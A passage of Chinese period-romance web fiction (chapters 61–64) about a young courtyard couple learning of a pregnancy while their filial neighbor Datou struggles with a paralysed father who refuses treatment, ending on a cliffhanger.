最近天气热了起来，他爸的胃口又不好了。大头本来还特别担心。刚在院子干活，听到后院这边的动静。知道许二哥又寄了海货过来。他就厚着脸皮过来了。 白兰见他这副孝顺的样子，忍不住看向许建北。 许建北想了想说道：“我们家人口多，东西可以换点给你。不过宁叔要是真喜欢吃这个。你最好看看运输公司谁跑海边的线。从他们那边下手，才能弄到更多。” 这道理大头也懂，但他在运输公司暂时还没办法跟这些人搭上线。只能先厚着脸皮占北哥家的便宜。 “北哥，我知道了。就换点干虾仁给我就好了。钱你一定要收。” 许建北好笑道：“铁定收。亲兄弟还要明算账呢！” 两人说笑间，很快就把东西互换。 看着大头轻盈离开的背影，白兰忍不住感慨：“他还真孝顺。” 从懂事起，知道亲爹瘫痪后就孝顺到现在。说实在，白兰特别佩服。 许建北也知道这个，想了想说道：“我跟妈说一声，咱偷偷给大头家送点海菜怎样！” 海菜这东西寄过来不少，价格又不贵。送人也只能送这个最合适。 白兰点头，看着许建北跟婆婆嘀嘀咕咕一会儿。随即就从柜子里面拿了一卷海菜出来。 “走，咱给他送去。顺便去供销社打酱油。” 夫妻两人拎着酱油瓶就走到了前院。 前院这边院子没什么人，大家都在屋里干活。但能听到说各自说话的声音。 白兰不是第一次来宁家了。但每次来都觉得特别压抑。主要这倒座房的格局本来就阴暗。加上宁叔瘫痪多年，这卫生自然没办法像正常人那样搞得好。所以宁家的屋子是有味道的。 许建北走到门口喊大头出来。 不过宁婶子热情地邀请许建北夫妻进屋里坐坐。 对方这样，他们也不好呆在门口。于是，夫妻两人走进了宁家。 一进屋就能看到宁叔躺在一张板子上。对着他们点点头。开口说话的声音嘶哑。听得人起鸡皮疙瘩。 大头这时候听到动静，从里屋走了出来。许建北笑着把手里拿着的那卷海菜递了过去。 “这不是刚漏了给你。” 大头想推辞，觉得不能占便宜。不过，宁叔已经乐呵呵地笑道：“谢谢，谢谢。知道你是个有出息的小伙子。这东西特别好吃，本来没胃口的，吃了就觉得特别开胃。” 白兰这时候拉了拉许建北的衣角，示意他快点。因为她总觉得不怎么舒服。 许建北也不想耽搁在这里。又寒暄了两句就道：“要去打酱油，家里急着要用呢！” 听到这话，宁家人就热情地送他们出来。 转身的时候，白兰注意到了什么。她以为自己眼花，揉了揉眼睛。 60-70 第61章 第61章发现 “瞧这小夫妻两多般配。小聪，你真不打算找对象呢？看看人家两个人一起，干什么都有劲儿！” 目送着白兰跟许建北回去的背影，宁妈忍不住再次跟儿子念叨起来。 大头一听这个就觉得头大。他都无数次跟他妈说了，不相亲不相亲。就他家现在这情况，找对象那是拖累人呢！他妈明明都答应得好好的。这会儿又说了。但大头知道这事为他好，所以忍着不耐烦，再一次重申自己的观点。 “妈，别说了。等我攒多点钱，再说找对象的事情。” 宁妈见他这样大的反应，无措地看向瘫在木板床上的男人。可惜，男人正高兴白兰夫妻送过来的海菜。开口就指挥宁妈赶紧去给他煮来吃。 而大头早已经从家里走了出来。站在廊下深吸一口气。随即摇头跑去后院找许建北。 “怎么跑来呢！” 许建北刚跟白兰回到家门口，两人商量着晚上要不要外出吃东西呢。看到大头没头没脑地跑了过来，惊讶问道。 大头这会儿反应过来，有点不好意思地挠头。口中却十分老实地吐槽起来：“还不是我妈，看到你跟白兰感情好，就又撺掇我去相亲。哎……” 这是个老话题了。白兰同情地看向大头。既同情他家里的情况这样艰苦，也同情他一直被家里催。 不过看到大头过来，白兰立马想到了刚刚在宁家看到的那一幕。随即小声问道：“大头，你爸这些年身体一直没有进展吗？” 大头正在吐槽呢，听到这话抬头一愣，随即苦笑：“是啊，这么多年都是瘫在那。脖子能动，手能动，其他地方都没感觉。” 白兰想到了之前听说过的，大头的亲爹宁疙瘩是脊椎受伤。具体伤情怎样并不太清楚。只说是瘫在床上动不了了。 “是有什么事情吗？”大头觉得白兰忽然问这个有点奇怪。 白兰也不隐瞒，直接说道：“刚在你家堂屋，建北把海菜拿出来的时候，我看你爸很高兴。然后他的小腿好像抬了起来。” 虽然只有一瞬间，但是白兰确实看到了。所以就问大头这宁叔的身体是不是有好转。病情具体是怎样的。她不是学医的，不太懂这瘫痪到底是怎么个情况。不过，小腿能抬起来，至少说明腿部神经是有反应的。 大头一听居然叹气道：“这个我也看到过。去找大夫看过了，说是什么反射。不是身体好转的征兆。” 见结果是这样，白兰也就没再多说。只叹息大头的命苦。她还以为宁叔这身体好转了呢！要是好转，不说赚钱什么的。只要能自理，就能解放宁婶跟大头的工作量。 大头也没留太久。在跟许建北又聊了几句运输队的事情后就回家去了。 夫妻两人回到屋里，许建北这才问白兰：“你是觉得宁叔的身体还有变好的可能？” 白兰摇头：“我也不知道医生。就是刚在他家看到小腿抬了抬，觉得可能有机会。” 这脊椎问题很复杂，她也不懂。但神经这种东西，可能有自我修复的功能。说不定当年出事的时候，医疗条件太差，很多细节没有检查清楚。现在身体修养快二十年了，说不定有什么转机。 听完白兰的话后，许建北想了想说道：“我看可以托人问问，联系个靠谱的大夫看看。” “是吧！你也觉得可以试试。真有改善，大头家的情况立马就会不同。” 中午饭是在家里吃的。用的食材就是许建西寄回来的咸鱼。咸鱼加上茄子跟大肥肉，一起用猪油煎。菜一端上来，油光水滑的，十分受欢迎。 但白兰看到后忽然觉得没什么胃口。隐隐居然还有点反胃。真是奇了怪了。她虽然不缺油水，但也没到看到大肥肉就犯恶心的地步。 许建北立马注意到她的异常，小声问：“怎么呢？” 白兰：“就忽然觉得不想吃。” 苗大菊注意到白兰一直没有去夹咸鱼茄子，不由道：“这是不喜欢这个味儿？要不，给你煎两个鸡蛋？” 白兰立马摇头：“不用，不用。就是没什么胃口而已。” 一听这话，苗大菊更加紧张了：“是不是吃坏肚子啊！家里有肠胃药片，要不待会儿吃两片试试？” 许建北听到这个，直接道：“不用了妈。这不清楚原因不能乱吃药的。你吃饭不用管我们。下午我们有空，去外头走走。说不定是这周工作太忙，身体吃不消而已。” 听到说不用自己管，苗大菊也不好再啰嗦。 白兰笑笑，就吃了几口白饭。剩下的都倒进许建北的碗里。心里盘算着下午去外头，看看国营饭店有什么新鲜好吃的没。天天吃家里的，说实在话也有点点腻了。 说是去国营饭店找东西吃，但两点多从家里出来，白兰感觉到有点大的太阳，又不太想逛街了。 这时候已经是5月份了，已经迈入了夏天。还不到最热的时候，但白兰愣是觉得今天好热。 许建北体感觉得还好，所以白兰这个样子让他有点担心。 “要不去医院看看？” 白兰想了想摇头：“可能是天气开始热了，苦夏了。前面有个药房，去那买点酸梅汤来煮。” 酸梅汤不算是药，许建北就松口：“行，要是酸梅汤都没用。咱就去医院瞧瞧。” 白兰看他担忧的样子，觉得心口暖呼呼的：“好好好，都听你的。” 夫妻两边说边笑着来到药房。 这时候的药房都是国营的，里头有卖中药跟西药。白兰他们刚进去，就看到大头正在里面抓药。 不用问，白兰都知道这药是什么。 大头他爹瘫痪多年，听说每天晚上都要用活血化瘀的中药汤泡脚按摩。小时候都是宁婶在做的。大头长大一点后，他就把这个工作接了过来。 中药不贵，但将近二十年来天天都这样买，加上还有搭配吃的补药。所以，大头家里才会那么艰难。 大头这时候也看到白兰跟许建北：“你们怎么来药房，哪里不舒服吗？” 许建北：“买点酸梅汤备着。” 负责抓药的也是老邻居了。听他们聊天，就在那感叹：“宁疙瘩虽然瘫在床上那么多年，但命好，有小聪你这样孝顺的儿子。” 大头被人这样一夸，有点不好意思：“叔，说啥呢！这不都是应该的吗！儿子照顾老子，天经地义呢！” 药房还有几个来买药的顾客，都是住在这一片的。谁不知道宁家的事儿啊！纷纷跟着感慨起来。 他们这些人都是好手好脚地赚钱养儿子。但都不敢保证等他们老了后，儿子会对自己这样孝顺照顾。 要不是大头家里负担太重，他们还真有人会把自家姑娘嫁给他。 白兰不知道这些人的想法，见大家都在夸大头，没有继续跟大头瞎聊。拉了拉许建北，过去让药师帮忙抓两剂酸梅汤。 “这还没真热了，就喝酸梅汤啊！” 白兰笑笑：“这不是忽然没胃口，想喝点酸的吗？” 这话一出，正在夸大头的一位大妈，顺嘴来了句：“怕不是有了吧！” 大妈就是杏花胡同的，知道白兰跟许建北结婚都半年了。小年轻不懂事，有了估计都不知晓。 白兰听到这话愣了愣，随即好像反应了过来。她震惊地看向许建北。许建北皱眉，在心中算了算白兰的周期。 “要不，去医院瞧瞧？” 这个月比较多事情，两人都没有注意到这个。现在听大妈一提醒，两人立马算了算周期，发现这个月月经迟了半个月还没来。 大头听不懂他们在说什么。见白兰跟许建北凑一起小声商量，也没去打扰。 很快，白兰跟许建北付了钱，跟大头道别，拎着酸梅汤的药材，就往医院去了。 第62章 第62章好事儿 “哎，回来了。回来了。怎样？真有了吗？” 刚进胡同，白兰跟许建北就被好几个胡同大妈围着，热切地询问起来。 白兰一愣，随即无语。不用说，肯定是药店那个大妈宣扬出去的。也不知道这人怎么想的。居然凭着猜测，就敢把自己怀孕的消息传出去。也不怕闹一场乌龙。虽然，自己真的怀孕了。 说实在话，白兰在得知自己有了宝宝，还没从震惊中缓过神来。 是的，震惊。虽然一直都抱着随缘的想法。但真正怀上孩子，白兰还是挺惊讶的。 惊讶之后，看着许建北高兴的样子，白兰这才有了真实的感觉。 她，白兰，要当妈妈啦！ 许建北见那么多人围了过来，立刻伸手挡在媳妇跟前：“大家别挤，别挤。” “哎哟，这是真怀上啦！不然不会那么紧张！”一个大妈调侃道。 许建北深吸一口气，很想说即使没有孩子，他也是特紧张自家媳妇儿的。 “真有了孩子。所以，大妈们麻烦让让，别挤到我家媳妇儿了！” “哎呀呀，这许老四可真是疼媳妇啊！” 大妈们见许建北这个反应，一个个都笑哈哈地起哄起来。 白兰看到这个场面，忽然有点想笑了。 —— “这有了孩子，平时动作就要注意。那些搬搬抬抬什么的，绝对不要做。” 白妈妈一听到闺女回来，直接跑到许家这边来了。一见面就开始说着些怀孕注意事项。 白兰笑眯眯听着她妈的话，眼神却看向许建北。 许建北点点头：“妈，我先出去一下。” 见许建北离开，白妈妈这才小声说道：“你家这屋子还是有点小了。等孩子出生后，要是家里住不下，可以回娘家住。” 白兰出嫁前的屋子，现在还空着。之前是跟白苹一起住的。后来跟白苹闹掰，认回白保卫后，这屋子就一直是白兰一个人住。白保卫独自住在原来钱家的屋子。 “大姐他们真不住我那屋？” 白大姐一家三口离婚后一直住在娘家，目前还是跟白梨住在一间正房里。 “你大姐说不用。她的钱攒得差不多了。正在找附近的屋子，想买下来搬过去住。” 听到大姐都有准备买房子的了，白兰自然高兴。这样一来，等孩子出生后，许家这边住不下，是可以考虑直接回娘家住。 “就怕建北会介意，说他住女方家……” 白妈妈的担忧让白兰乐了。 “妈，他不是个讲究这种面子的人。等孩子出生后再看看房子的事情。” 他们夫妻两的存款其实也不少。但白兰不太想出去买大杂院。要买也是买一座完整的院子。就是一进的也可以。现阶段暂时也没找到合适的房源。 见小闺女夫妻有成算，白妈妈就不再啰嗦这个。不过很快叹了口气：“你的日子眼瞧着是越来越红火了。但你二姐还没个着落。” 二姐白梨自从许强兄妹的事情过后，人就变得坚韧起来。最近大杂院刮起的相亲结婚风潮，二姐愣是没有受到一丁点影响。 “妈，你别担心。二姐可有自己的想法呢！”白兰好笑地安慰起来。她发现这父母催婚的本事都一个样儿。 像大头，比她二姐更加麻烦。真的是被他妈催得头都大了。 —— 而大头这边呢，刚好十分头大。这一次不是被催婚的，而是被许建北的话给弄的。 “真有专家过来？” 许建北点头。他也没想到自己跟白兰就去一趟医院，居然正好就打听到，医院最近来了个专门看外伤方面的针灸专家。 他特意打听了一下，这专家对瘫痪这方面有一些独门的治疗方法。也就是现在部分人把中医打成封建糟粕。不然这样的国手，估计他们普通人都很难接触。 正好大头他爸的情况很符合，许建北就特意来了趟，跟大头提了提带他爸过去看看专家。 如果白兰没有看错，大头他爸的小腿真能动，说不定这病就能治。 大头听完许建北的话，表情变得十分激动：“北哥，好。谢谢你。真是谢谢你。我去跟我爸妈说说，一起去看看。” 带着这个好消息，大头高高高兴兴回到家里。 宁妈正在洗衣服呢，见儿子这样高兴。随口就问：“建北找你说啥呢？” 大头嘿嘿笑：“妈，北哥说……” 大头三言两语把专家的事情说了出来，宁妈脸上也露出些惊喜。 “真有门儿？” 大头：“要带爸过去瞧瞧才知道。但我详细问过了，这专家咱以前也没瞧过。说是最近才从底下调上来的。反正咱爸看病有厂里报销。要不过去看看，说不定真有转机！” 宁妈自然不会拒绝这样的好事。甩甩手上的水，起身就朝屋里走。 “你进来，跟你爸解释一下这事儿。” 大头乐呵呵地跟上，心中充满了各种期待。要真是能治好，那他真的会特别高兴。 他爸好了，他妈就不用那么累，自己也有了可以追求喜欢人的权利。 怀着这样美好的期待，迎接大头的却是冷冷的拒绝。 “不去？为什么？” 看着眼前直接拒绝看医生的亲爹，大头难以置信地瞪大双眼。 宁疙瘩听着收音机播放的节目，对于儿子的询问不发一语。 大头见状，有点挫败地抓了抓脑袋。 宁婶子见儿子这样，伸手推了推他：“你先出门走走。你爸这里我来说。” 大头十分失望，但还是听他妈的话从家里走了出来。 但站在院子他也不知道要去哪里。 于是，白兰再次看到大头站在自家廊下。那表情活像霜打的茄子。 她立刻用眼神，示意许建北瞧瞧这个小老弟到底怎么呢。 许建北过去拍了拍大头的肩膀：“说吧，是不是你爸不愿意去？” 大头沮丧点头：“我想不通，有机会能好，为什么他不愿意试一试。” 这个问题许建北也无法回答。因为生病的人心情，健康的人是很难理解的。 “反正你尽力就好。不用太过自责。这么多年你的付出，咱这些老邻居都看在眼里。” 白妈妈也没走，还在白兰这边呢。一听这些对话，虽然不太知道里头究竟发生什么事情。但她知道大头是个孝顺的孩子。 所以跟着附和：“就是，你是个好孩子。咱这一片谁不夸你。爹妈是要孝顺，但你自个儿的日子也得过。” 白妈妈是知道大头这些年怎么过来的。所以这会子说话十分感慨。 —— “不去，说了不去不去。去就是浪费钱。有那闲钱还不如存起来给儿子找媳妇。” 前院宁家，宁疙瘩正在大声地跟宁婶子说着自己的决定。声音嘶哑，旁人听着会有点恐怖的感觉。 宁婶子继续劝道：“是厂里给钱，又不费家里的钱。就是要自家出钱，要是你能好，那就是砸锅卖铁也得去看看啊！” 宁疙瘩气得抬手捶床板：“刚出事的时候，都看过多少专家了。一个个都说不清楚，不知道，不确定。我都这样子过了快二十年了。你觉得现在还有可能能好吗？那什么专家就是骗钱的。反正我不去。” 宁婶子知道男人的意思。当年出事后，确实把整个北城甚至是隔壁几个城市的医院都跑了个遍。费了不少钱到头来确实没什么进展。所以之后他们就没再去找医生看了。当然，也是因为家里确实没钱。厂里是给报销医药费，但那是有限制的。 但是，这一次不知道为什么。见到儿子刚刚那种轻快的表情，宁婶子忽然就想让男人再试一次。她儿子这些年活得太累了些。 可惜，宁疙瘩不知道宁婶子那么复杂的心理活动。见宁婶子还要劝他，他气得直接拿起手边的东西就开始砸了起来。 那东西是个锤腿的小锤子，实木做的。这一砸直接把窗户给砸烂了。声音很大，把正在跟许建北聊天的大头吓了一跳。 “糟了，家里出事了。” 大头着急忙活就往家里跑。许建北立刻跟了上去。 白兰叹气，她不想自家好心一场，到头来办了坏事。 “你别去了，说不定那头怎么闹呢。你怀着孩子过去不方便。” 白妈妈怕女儿要跟着过去，立刻阻止。 白兰也没想过去。她不太喜欢大头家里的氛围。 “妈，当年大头他爸到底是怎么出事的啊！这么多年，我现在想想，好像很少见到宁叔出门。” 白妈妈摇头：“具体的事儿谁知道。这都多少年了。不过这宁疙瘩没出事前，也是个不爱说话的主儿。” 母女两在这头说着宁家的往事。另一边的大头，已经在跟他爸吵了起来。 第63章 第63章胡爱花的接近 “好不容易能有个机会，试一试 你都不愿意。” 大头的声音很大，把大杂院的邻居都吸引了过来。不少人都在打听到底出了啥事儿。大头一点都没隐瞒，直接说想带他爸去看个新来的专家，但是他爸不愿意。 邻居们一听是这样的好事，纷纷劝说了起来。 “宁疙瘩啊，宁疙瘩。叫你疙瘩是没错的。脑子就跟疙瘩一样不会动弹。这看个病又不费什么功夫，看不好也没啥。要是看得好，那不是赚大发了吗！” 有几个跟宁疙瘩有些交情的大伯、大叔，纷纷开口劝说了起来。 白兰还是第一次见到大杂院的爷们儿集体出动的。就连她爸也不知道什么时候跑了过来，开口劝了起来。 “大家都几十年得邻居了，见你这个样儿真是觉得可惜。你要是担心不好过去，咱大杂院的爷们，一人一手都能把你抬到医院。保准不让你有任何的差错。” 秦艳她爹秦叔立马开口建议道。 边上的男人们纷纷点头，撸起袖子，一副要帮忙的架势。还有些性子急的，都要去卸门板了。 还是许建北出口阻拦：“这太阳都快下山了。过去医院那专家怕都下班了。要宁叔家商量好的话，明天再过去也不迟。咱院儿凑凑，就能帮着把宁叔抬过去。” “对对对，就这么说定。明个儿我晚点去上班就成。”秦叔热心肠地说道。 大头见邻居们这么热心，激动地猛点头。他立马跟他爸说：“爸，你看看。咱院儿的人都说帮忙了。这下你不用怕麻烦了。要是真看不好，咱也不会失望，你放心。” 宁疙瘩却径直摇头：“不去不去。不麻烦邻居。我这身子就这副样子了，不想折腾了。想过些安生的日子。” 这话一出，又是新一轮的各种劝说。 白兰从人群中走了出来，跟许建北先回家坐下来。前院挤满了人，她觉得呼吸有点不顺畅了。 坐在自家屋里，白兰听着前院的热闹，叹气：“你说大头他爹咋就这样倔呢！” 许建北把手放在白兰的肚子，小声道：“可能真有什么顾忌吧！咱能做的都做了。你也别操心。肚子现在有什么感觉不？” 这话一出，白兰乐了。肚子才一个多月，能有啥感觉。估计这会儿孩子就一颗花生米大。 白兰把这花生米的言论说出来，立马就把许建北逗乐了。 “要不，咱娃儿以后小名就叫花生米？” 白兰一听直摇头：“不成，不成。叫花生米，怕以后你会被孩子骂死。” 这年头的小名都是各种农作物名字，不然就是各种狗蛋、毛蛋，又或者铁柱啥的。但白兰不想给自家娃儿取这样接地气的小名。好歹叫个团团圆圆什么的。 夫妻两就孩子的小名，展开了激烈的讨论。完全忘了这孩子还只有花生米大小。 —— 而这样的好心情一直维持到晚饭的饭桌上。 中午许建南跟柳美玲都在外头吃，周末他们夫妻都会忙活卤肉生意。晚上他们回家吃饭，听说了白兰怀孕的消息，立刻恭喜他们夫妻。 柳美玲更是难得地在饭桌上，就拉着白兰说起话来。 嫁到许家这么半年时间，白兰跟柳美玲的交情说好不算太好，但也不会差。特别是当时两人都有共同的吐槽对象苏小妹。不过苏小妹犯事儿被抓走后，妯娌两人就少了共同吐槽对象。 加上这段时间发生不少事儿，白兰还真挺久没跟柳美玲聊天的。 所以吃过饭后，白兰被柳美玲拉着到廊下继续聊天时，她还以为对方会说卤肉的事情。毕竟这生意做得挺大的。白兰虽然不用买菜什么的，但在食堂工作时，偶尔能听旁人说起黑市一家卖卤肉的味道有多好吃。 但马上白兰就发现柳美玲找自己，说的不是卤肉生意，而是怀孩子。 白兰完全没想到，年代短剧大女主的柳美玲，也会有这方面的焦虑。 “三嫂，这怀孩子我还真没什么秘方。” 柳美玲一听，叹气：“我也只是顺嘴问一下。我倒是不着急，但我知道建南特别想要孩子。” 柳美玲是在白兰穿越过来没多久就嫁给许建南的。算算时间也有大半年了。 白兰在许家，没见过许家老两口催他们生孩子。也没见许建南有这方面的端倪。 像是看出了白兰的疑惑，柳美玲继续叹气：“你三哥是不会说的。但是我能感觉得出来。” 白兰想想这两人的感情，就知道柳美玲话中的含义。虽然跟他们夫妻接触不多，但白兰知道他们夫妻感情很好。而且按照短剧的剧情，未来两人的感情，也接受过来自各方面的考验。 所以，柳美玲想要给爱自己的男人生孩子，也是她自己的选择。 不过，白兰真不知道生娃秘方，只能叹气。 柳美玲也没怪她，只感叹白兰的运气比自己好。说完了这个有点沉重的话题，柳美玲好奇起今天宁家发生的事情。 她跟建南回来的时候，前院人都散了。但后院这边，还能听到大妈们在说宁家的事情。 柳美玲跟宁家没有交情，但是大头一直私下里，帮着运输卤肉。所以，她要关心关心大头家的情况。 一听是这个，白兰也没隐瞒。一五一十就把事儿都说了出来。 柳美玲一听皱眉：“其实，要是大头没有他爹拖累，日子确实能起来。他在我这边帮忙也还不到三个月，钱都赚了小一百了。” 大头帮忙运输卤肉并不是全职而是兼职。不到三个月赚一百年，一个月二三十，已经能顶普通工人一个月的工资了。 “他手头的钱应该够的。就是他爹难办。” 白兰说着也叹气。大头那个爹真是够顽固。下午那会儿，整个大杂院的人都上去劝了。他都有本事不为所动。 柳美玲没那么多耐心，直接说：“搁我这儿，我直接喊两汉子，把他往门板一搁，直接就抬医院去。” 女主不愧是女主，说话是那样的硬气。 白兰有点想笑，觉得柳美玲这直来直往也挺可爱的。 妯娌两人这边说着话，那头许建北也在跟三哥说起生意上的事情。 “现在还好，等明年看看，如果能在附近找到合适的院儿，就买下来。手里头的钱暂时还不够。到时候要真碰上要钱，三哥，我就把份额退出来。” 许建北说这话并不是真着急用钱。主要是他跟白兰商量过了。从过年到现在，三哥跟三嫂忙卤肉的事儿，真是忙得脚不沾地。他就是初期的时候出了些本钱。到现在也赚了不少。不想再继续沾哥嫂的光。 许建南一听小弟的话，立马摇头：“你要是真找到适合的院儿，又不够钱的话，三哥借钱给你。退出来的话就不要说了。” 许建北知道不可能一次就把三哥说服。现在提只不过是给三哥打预防针。见他不想聊这个，就转移话题说起了宁家的事儿。 整个大杂院今晚的话题，无一不是跟宁家有关。 秦家这边，秦艳他爹正在跟媳妇感叹：“那宁疙瘩真是个疙瘩。说不通啊！他这样颓废，完全把他儿子给托死了。” 秦艳听着他爸的话，觉得不是滋味。大头是她好朋友，碰上这样的爹真是倒了八辈子霉。 秦婶子不知道女儿的想法，附和丈夫道：“可不嘛！疙瘩媳妇儿明明跟我年纪差不多。今天我瞧着，那样儿老得比我大十岁不止。” 秦婶子虽然在食堂当杂工，经常要接触冷水。但秦家氛围好，男人又是保卫科科长，根本不愁吃喝。所以人本来就显得年轻。跟同龄的宁婶子站一块儿，那对比就更加明显了。 秦艳听着爹妈的讨论，用筷子戳了戳碗里的米饭。心里打定主意，怎么样都要去让大头带他爹去看病。要是看好了，以后就大头就不 用愁了。 至于之前被白兰说大头喜欢她什么的，秦艳表示她忘记了。她跟大头依然是好朋友。 —— 接下来几天，大杂院的话题依然是宁家。 宁疙瘩依然没有妥协，大头却不再去劝对方了。虽然朋友们都说试一试，但他爹不乐意，大头是真没辙。真直接把人抬医院，不提前说好的话，大头怕他爹会在医院闹起来。 所以，他收拾好心情，准备出车。这一趟他要跑长途，离这事儿远远的，等过一段时间就好了。大头这样安慰自己。反正他都习惯了照顾他爹。 大头这一走，大杂院渐渐地也没人再说宁家的事儿了。白兰得知后，只能感叹大头命真不好。 而大杂院这边的热闹也没停歇。因为胡爱花跟着男人祝城从海城回来了。 要说胡爱花嫁给海城人，一开始大杂院的邻居还没那么大的感触。但上周胡爱花跟回收站请假，跟着祝城回了趟海城。邻居们立马就感觉到不一样了。 “哎哟，去了趟海城。爱花瞧着人就精神了不少。果然南方的水土就是养人。” 胡爱花正在给大杂院的邻居们分发大白兔奶糖，听到这些夸赞十分高兴。 胡寡妇更是把脑袋抬得高高的。就差用鼻孔看人了。 白兰看到这个情况，觉得特别好笑。 许建北正在给杀鸡褪毛，也看到对面的情景：“他们这一趟好像去了快一周吧！” 白兰点点头：“应该有一周了，艳子还跟我抱怨，这胡爱花一请假，她的工作量就多了。” 说着，白兰又观察了一下胡爱花。面色红润，说话嗓门都比以前大。看来婚后的日子不差。所以，她之前给胡爱花提的醒儿，难道真是自己想多呢？ 正这样想着呢，胡爱花就拿着一包糕点过来了。 “这是给白保卫的。我男人跟他好歹也算是拐着弯儿的亲戚。这趟过去海城，听说他爱吃这个糕点，我男人就让我带给他。” 一听拐着弯儿的亲戚，白兰就不想理胡爱花了。 “不用，我哥跟方家没什么关系。所以不用给他送东西。” 胡爱花被拒绝，有点不高兴。觉得白兰不讲人情。这方家跟白家的孩子互换，又跟他们祝家没什么关系。 “我哥真不会跟方保国争东西，所以不用来纠缠他。” 这话说得够直白的，胡爱花特别不爽，只能拎着东西回去了。 白兰翻了个白眼儿，觉得这些人事儿真多。 而被拒绝的胡爱花回到家里，胡寡妇立马就问到底是啥事儿。为啥要跟白保卫修复关系。 胡爱花摇头：“我也不知道，这是我男人让我做的。” 第64章 第64章要疯了 白保卫一回来，就听说了胡爱花上门送糕点的事情。 “拒绝是对的，咱也不稀罕他们那点东西。” 白兰点头，不过有点好奇：“哥，方厂长知道祝家的事情不？” 白保卫摇头：“我们只聊些工作生活的事情，祝家要是没干什么出格的事情，我不打算理会他们。” 白兰想想也是，反正也不会跟方保国夫妻两有什么交集的。 兄妹两人正说着话呢，柳美玲跟许建南从外头回来了。最近这些天，这两人没那么拼了，每天都早早回来。白天的话，柳美玲也不会那么早去做卤肉的事情。 白兰知道这是上次聊天起了作用。柳美玲这是想要放松下来，不再那么拼命地赚钱了。 见白兰兄妹在聊天，柳美玲笑着走了过来。白兰见状，心想柳美玲这是有什么事情要跟他们说吧！ 果然，下一秒就听到：“胡爱花嫁的那个男人是姓祝的对吧！” 白兰跟她哥对视一眼，点头。 “今天在黑市，我看到那姓祝的，跟几个人在黑市转悠。看着好像在收东西。” 这倒是有点意思。 “收啥啊！” 柳美玲压低声音：“收那些破瓦罐什么的。那种东西现在不值钱，随便给点钱就能收上去。” 能在这时候积累下来的值钱东西，除了很难买到的房产，就是各种古董字画、金银首饰了。 听到祝城在黑市收这些东西，对方又是旧货市场的售货员。这些加在一起，白兰倒是不奇怪了。 “反正我瞧着跟他一块儿的都不是什么好易于的。所以，白同志你要小心点。” 柳美玲也知道了祝城曾经跳出来，说要给白苹、白保卫跟白家调解关系的事情。所以，在黑市看到祝城后，她第一时间就想到了白兰。 白保卫跟柳美玲没什么交集。听到对方善意的提醒，立马感谢了几句。 就在这时候，又有人朝他们这边走了过来。这次来的居然是胡爱民。刚刚他们还在聊胡爱花的男人，这一转头胡爱民就凑了过来。瞬间，话题立马就终止。 而胡爱民已经笑嘻嘻地伸手搭拉在白保卫的肩膀上。一副好哥两的模样：“保卫兄弟，你们在聊什么啊！” 白保卫立马挣脱了胡爱民，有点子无语：“胡同志，咱两也没那么熟吧！” 这样直接的语气显然让胡爱民一愣。他还没见过有人这样不给邻居面子的。 白兰看到这里笑出了声音，心想她哥这人是有点直愣愣的。喜欢跟不喜欢直接摆到台面上来了。 柳美玲也跟着乐呵了起来。 两人的笑声让胡爱民的脸直接黑了下来。一言不发转头就朝家里走去。 他来得突然，走得更突然。 白兰：“哥，他找你到底想做什么？” 白保卫摇头：“不知道。这家人都奇奇怪怪的。” 想想胡爱花的动作，还有刚刚胡爱民的突兀。白兰想了想还是说道：“那哥你这几天小心点。总觉得他们兄妹想干啥。” —— 想是这样想，但接下来几天，胡爱花没有做再出现在大杂院。胡爱民也挺正常的上班下班。仿佛那天的事儿跟没发生那样。 白兰也没精力整天盯着他们。因为她发现怀孕之后，人还真会容易累。 这不，平时上班站一两个小时做馒头包子，她都不觉得累。但是查出有了孩子后，她人好像立马就柔弱了起来。站不到一个小时就觉得好累。 所以，她今天提前跟食堂大师傅请假回家休息。 人刚走到胡同口，十分凑齐就碰上了大头出车回来。 出车一周，大头已经完全冷静了下来。看到白兰，笑着露出一口大白牙。 “你这一趟还挺快的呀！” 大头嘿嘿笑：“跑了南边一趟。” “弄了多少海鲜干货啊！” “没，这次就弄了些很好的棉布回来。据说特别透气。” 别看他们这有纺织厂，但南北工艺存在差别。南边的布料大多透气。白兰一听有透气的布料就心动了。 主要是现在夏天来了，接下来还有热两个多月。在这个电风扇都难买的年代，孕妇肯定很难熬。 大头像是看出了她的想法，笑道：“这是北哥托我买的。” 听到是许建北吩咐的，白兰心中就是一甜。忍不住又问了些大头这一趟出车的细节。 两人边走边聊，很快就到了大杂院门口。 今天是工作日，加上正值上午十点左右，胡同的人不多。两人一路走来也没碰到几个人。 大头心情很好。出车一趟他也想通了。身体是他爸的，爱咋样就咋样。他是没办法勉强对方的了。 白兰看出了大头的想法，没有去问这个。只跟大头走到前院就准备分开。 不过就在这个时候，宁家传来了一阵东西碎裂的声音。 大头一听就着急地往家里跑。白兰想了想就跟了上去。 因为怀孕，她走得比较慢。往前跑的大头已经快要冲进家门了。 就在白兰以为他会冲进去的时候，大头的脚步却停在了门口一动不动。 这时候，碎裂的声音已经没有了。反倒是一阵嘶哑的咒骂声响起。 白兰蹙眉，想着过去看看到底是怎么一回事。但立马就看到大头转身朝自己走了过来。 如果忽略掉对方那完全变黑的脸色，攥紧的拳头，以及咬得咯咯作响的牙齿的话，白兰会以为大头想过来跟自己说什么。 “出什么事情了吗？” 大头听到熟悉的声音，这才反应了过来。随即整个眼球眼白部分都布满了红色的血丝。看着各位地吓人。 而白兰看到大头这样，有点心惊胆战。 “是出什么事情了吗？要叫人来帮忙吗？” 大头僵硬地摇 头，脖颈处发出咔咔的骨头转动声音。 总之，白兰觉得这时候的大头有点吓人。 好在，大头好像终于控制住了自己。 “白兰，你先回去吧！我……我有点事儿想出去一趟。”说着，不等白兰回复，大头已经转身就跑了个没影儿。 对方这种反常的举动，让白兰嗅到了一丝不同寻常。她看向重新安静下来的宁家。只觉得一股凉意在背后窜了起来。 一直到晚上，宁婶子都下班回来了。大头也一直没有出现。因为大头回来的时候没人看到。大伙儿也只会以为他还在出车没有回来。 白兰拉着许建北回到家里，就把白天的事情说了出来。 “我到现在都搞不懂到底出什么事情了。” 许建北想了想，也想不出还能有什么事情。宁家最近除了大头他爹不愿意看医生，好像也没出啥事儿啊！总不能是因为大头不愿意相亲吧！ 夫妻两人说着话，都挺担心到底出什么事情了。 就在他们担忧的时候，大头这会儿人是躲在前面街上的回收站。 上午大头从家里跑出来后，也不知道去哪里好。到处乱晃，最后就跑到了这里。刚好碰上今天是秦艳值班。 秦艳想问他出什么事情了，但大头不说。一味埋头走路不搭理人的样子。 这样的大头很反常，反常到秦艳都忘了之前自己那点小别扭。拉着大头就把人塞到了值班室里头呆着。 